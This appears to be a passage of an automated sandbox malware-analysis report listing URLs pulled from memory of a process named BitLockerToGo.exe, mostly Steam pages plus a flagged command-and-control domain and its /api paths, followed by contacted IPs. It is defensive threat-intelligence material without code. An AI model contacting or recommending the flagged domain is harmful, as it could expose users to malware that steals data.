https://sputnik-1985.com/v	BitLockerToGo.exe, 00000003.00000003.2454654141.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2432642292.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2454541108.00000000034EE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2444465530.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455429001.00000000034F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.st1T	BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356623216.00000000034F6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steambroadcast-test.akamaized	BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/	BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampower	BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/privacy_agreement/	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356623216.00000000034F6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000003.00000003.2357767548.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357865261.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357621747.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000003.00000003.2384267286.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000003.00000003.2384267286.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000003.00000003.2357767548.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357865261.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357621747.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000003.00000003.2385701315.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.	BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2432696708.00000000034A8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=M_FULq_A	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sputnik-1985.com/	BitLockerToGo.exe, 00000003.00000003.2454185919.0000000003463000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455088061.0000000003463000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2385447737.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2454654141.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2432642292.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2454541108.00000000034EE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2384397075.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2444465530.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455429001.00000000034F4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2383919449.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2383640703.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://login.sbZ	BitLockerToGo.exe, 00000003.00000003.2432696708.00000000034A8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com~T	BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sputnik-1985.com/U70	BitLockerToGo.exe, 00000003.00000003.2454185919.0000000003463000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455088061.0000000003463000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/;	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamFT	BitLockerToGo.exe, 00000003.00000003.2411510457.00000000034DC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000003.00000003.2357767548.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357865261.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357621747.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://checkout.steampownZ	BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/subscriber_agreement/	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356623216.00000000034F6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356623216.00000000034F6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.steAT	BitLockerToGo.exe, 00000003.00000003.2411510457.00000000034DC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://recaptcha.net/recaptcha/;	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=Eq36AUaEgab8&l=en	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.0Z	BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=aep8	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.st~Z	BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/stats/	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://medal.tv	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://broadcast.st.dl.eccdnx.com	BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000003.00000003.2384267286.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000003.00000003.2384267286.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000003.00000003.2357767548.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357865261.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357621747.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sputnik-1985.com:443/api	BitLockerToGo.exe, 00000003.00000003.2432562158.00000000034EA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2432642292.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/workshop/	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.steampowered.com/	BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	BitLockerToGo.exe, 00000003.00000003.2385701315.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sputnik-1985.com/apiate	BitLockerToGo.exe, 00000003.00000003.2454654141.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2432642292.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2454541108.00000000034EE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2444465530.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455429001.00000000034F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.48.1	sputnik-1985.com	United States		13335	CLOUDFLARENETUS	false
104.102.49.254	steamcommunity.com	United States		16625	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587433
Start date and time:	2025-01-10 11:33:07 +01:00
